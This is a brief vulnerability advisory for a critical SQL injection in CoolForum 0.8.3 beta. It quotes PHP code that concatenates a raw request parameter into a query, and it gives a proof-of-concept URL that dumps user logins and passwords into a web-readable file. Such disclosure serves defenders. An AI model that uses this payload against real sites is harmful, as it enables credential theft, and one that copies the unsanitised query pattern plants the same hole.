Critical SQL Injection in CoolForum

[gmdarkfig@xxxxxxxxx]

Type: SQL Injection
Risk: Critical
Product: CoolForum <= 0.8.3 beta
********************************


Vulnerability
*************
// File: editpost.php
// Line 38
//
if(isset($_REQUEST['post'])) $post = intval($_REQUEST['post']);
else $post = 0;
--
// Line 77
//
$canedit = getrightedit($_REQUEST['post'],$_REQUEST['forumid']);
--
// File: admin/functions.php
// Line 623
//
function getrightedit($idpost,$forumid)
{
global $_MODORIGHTS, $sql, $_USER, $_FORUMCFG, $_PRE, $_GENERAL, $_PERMFORUM;
$query = $sql->query("SELECT idforum,idmembre,parent FROM ".$_PRE."posts WHERE 
idpost=".$idpost);
$j = mysql_fetch_array($query);
--


Proof Of Concept
****************
http://[...]/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password 
FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1


Credits
*******
Ref : http://mgsdl.free.fr/advisories/coolforum083ba.txt
Note: Others SQL Injection exists but they are difficult to exploit
by DarkFig